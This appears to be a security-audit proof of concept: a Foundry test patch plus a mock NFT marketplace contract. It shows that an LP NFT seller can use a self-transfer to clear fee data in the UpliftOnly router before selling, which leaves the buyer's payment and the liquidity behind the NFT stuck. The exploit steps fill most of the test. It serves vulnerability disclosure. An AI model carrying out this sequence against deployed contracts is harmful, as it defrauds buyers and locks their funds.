Apply following patch.
@@ -40,6 +40,8 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { UpliftOnlyExample } from "../../contracts/hooks-quantamm/UpliftOnlyExample.sol";
import { LPNFT } from "../../contracts/hooks-quantamm/LPNFT.sol";
+import "./mocks/SimpleNFTMarketplace.sol";
+
contract UpliftOnlyExampleTest is BaseVaultTest {
using CastingHelpers for address[];
using ArrayHelpers for *;
@@ -1444,4 +1446,61 @@ contract UpliftOnlyExampleTest is BaseVaultTest {
);
assertEq(balancesAfter.bobBpt, 0, "bob should not hold any BPT");
}
+
+ function testAfterUpdate_GriefLpNFTBuyer() public {
+ // First, provide initial liquidity from bob to get an LP NFT
+ uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
+ vm.startPrank(bob);
+ upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
+
+ // Initial state verification
+ assertEq(upliftOnlyRouter.lpNFT().ownerOf(1), bob, "Bob should own NFT initially");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].tokenID, 1, "Bob should have fee data for token 1");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 0, "Alice should have no fee data initially");
+
+ // Simulate NFT marketplace listing and offer acceptance
+ SimpleNFTMarketplace marketplace = new SimpleNFTMarketplace();
+
+ // Bob list his lpNFT for 1 ether
+ upliftOnlyRouter.lpNFT().approve(address(marketplace), 1);
+ marketplace.listNFT(address(upliftOnlyRouter.lpNFT()), 1, 1 ether);
+
+ vm.stopPrank();
+
+ // Alice places an offer
+ vm.deal(alice, 1 ether);
+ vm.startPrank(alice);
+ marketplace.placeOffer{value: 1 ether}(address(upliftOnlyRouter.lpNFT()), 1);
+ vm.stopPrank();
+
+ // Bob maliciously clears his lp/fee data in UpliftRouter before accepting Alice's offer
+ vm.startPrank(bob);
+ // Test that self-transfer of NFT clears fee data while maintaining ownership
+ upliftOnlyRouter.lpNFT().transferFrom(bob, bob, 1);
+ assertEq(upliftOnlyRouter.lpNFT().ownerOf(1), bob, "Bob should still own NFT after self-transfer");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].tokenID, 0, "Bob's fee data should be cleared after self-transfer due to onAfterUpdate bug");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 0, "Alice should still have no fee data after Bob's self-transfer due to onAfterUpdate bug");
+
+ // Bob accepts Alice's offer
+ uint256 bobBalanceBefore = bob.balance;
+ upliftOnlyRouter.lpNFT().approve(address(marketplace), 1);
+ marketplace.acceptOffer(address(upliftOnlyRouter.lpNFT()), 1, alice);
+ uint256 bobBalanceAfter = bob.balance;
+ assertEq(bobBalanceAfter - bobBalanceBefore, 1 ether, "Bob's ether balance should increase by 1 ether after selling the nft");
+ vm.stopPrank();
+
+ // Alice got the NFT but not with the inherent liquidity
+ assertEq(upliftOnlyRouter.lpNFT().ownerOf(1), alice, "Alice should own NFT after offer acceptance");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 0, "Alice should have NO fee data after acquiring NFT due to Bob griefing");
+
+ // This leads to alice fails to redeem liquidity
+ vm.startPrank(alice);
+ uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
+ vm.expectRevert(abi.encodeWithSelector(UpliftOnlyExample.WithdrawalByNonOwner.selector, alice, pool, bptAmount));
+
+ upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
+ vm.stopPrank();
+
+ // This proves Bob can grief Alice with no loss (gives up his liquidity but receive payment in ETH in return). The griefed funds are the token spent to buy the nft (1 ETH) and the liquidity assets locked in the nft (DAI and USDC added by Bob)
+ }
}
new file mode 100644
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: GPL-3.0-or-later
+pragma solidity 0.8.26;
+
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+/**
+ * @title SimpleNFTMarketplace
+ * @notice A basic NFT marketplace supporting listing, offers, and offer acceptance
+ */
+contract SimpleNFTMarketplace {
+ struct Listing {
+ address seller;
+ uint256 price;
+ bool isActive;
+ }
+
+ struct Offer {
+ address bidder;
+ uint256 amount;
+ bool isActive;
+ }
+
+ // NFT contract => tokenId => Listing
+ mapping(address => mapping(uint256 => Listing)) public listings;
+ // NFT contract => tokenId => bidder => Offer
+ mapping(address => mapping(uint256 => mapping(address => Offer))) public offers;
+
+ event NFTListed(address indexed nftContract, uint256 indexed tokenId, address indexed seller, uint256 price);
+ event NFTDelisted(address indexed nftContract, uint256 indexed tokenId, address indexed seller);
+ event OfferPlaced(address indexed nftContract, uint256 indexed tokenId, address indexed bidder, uint256 amount);
+ event OfferCancelled(address indexed nftContract, uint256 indexed tokenId, address indexed bidder);
+ event OfferAccepted(address indexed nftContract, uint256 indexed tokenId, address seller, address bidder, uint256 amount);
+
+ /**
+ * @notice List an NFT for sale
+ * @param nftContract The NFT contract address
+ * @param tokenId The token ID to list
+ * @param price The listing price in ETH
+ */
+ function listNFT(address nftContract, uint256 tokenId, uint256 price) external {
+ require(price > 0, "Price must be greater than 0");
+ require(IERC721(nftContract).ownerOf(tokenId) == msg.sender, "Not token owner");
+ require(IERC721(nftContract).getApproved(tokenId) == address(this), "Marketplace not approved");
+
+ listings[nftContract][tokenId] = Listing({
+ seller: msg.sender,
+ price: price,
+ isActive: true
+ });
+
+ emit NFTListed(nftContract, tokenId, msg.sender, price);
+ }
+
+ /**
+ * @notice Place an offer on an NFT
+ * @param nftContract The NFT contract address
+ * @param tokenId The token ID to bid on
+ */
+ function placeOffer(address nftContract, uint256 tokenId) external payable {
+ require(msg.value > 0, "Offer must be greater than 0");
+ require(IERC721(nftContract).ownerOf(tokenId) != msg.sender, "Cannot offer on own NFT");
+
+ // Return any existing offer from this bidder
+ Offer memory existingOffer = offers[nftContract][tokenId][msg.sender];
+ if (existingOffer.isActive) {
+ payable(msg.sender).transfer(existingOffer.amount);
+ }
+
+ offers[nftContract][tokenId][msg.sender] = Offer({
+ bidder: msg.sender,
+ amount: msg.value,
+ isActive: true
+ });
+
+ emit OfferPlaced(nftContract, tokenId, msg.sender, msg.value);
+ }
+
+ /**
+ * @notice Accept an offer for an NFT
+ * @param nftContract The NFT contract address
+ * @param tokenId The token ID to sell
+ * @param bidder The address of the bidder whose offer to accept
+ */
+ function acceptOffer(address nftContract, uint256 tokenId, address bidder) external {
+ require(IERC721(nftContract).ownerOf(tokenId) == msg.sender, "Not token owner");
+ require(IERC721(nftContract).getApproved(tokenId) == address(this), "Marketplace not approved");
+
+ Offer memory offer = offers[nftContract][tokenId][bidder];
+ require(offer.isActive, "No active offer from bidder");
+
+ // Clear the offer and transfer NFT
+ delete offers[nftContract][tokenId][bidder];
+ IERC721(nftContract).transferFrom(msg.sender, bidder, tokenId);
+
+ // Transfer ETH to seller
+ payable(msg.sender).transfer(offer.amount);
+
+ emit OfferAccepted(nftContract, tokenId, msg.sender, bidder, offer.amount);
+ }
+}
A PASS execution proves that the original NFT owner can grief new buyer with roughly no loss, given that the owner gave up his liquidity but received ETH payment in return. As for the buyer, the loss includes the ETH he spent to buy the NFT, plus the permanently stuck liquidity assets (DAI and USDC which should belong to the buyer) in the Balancer vault.
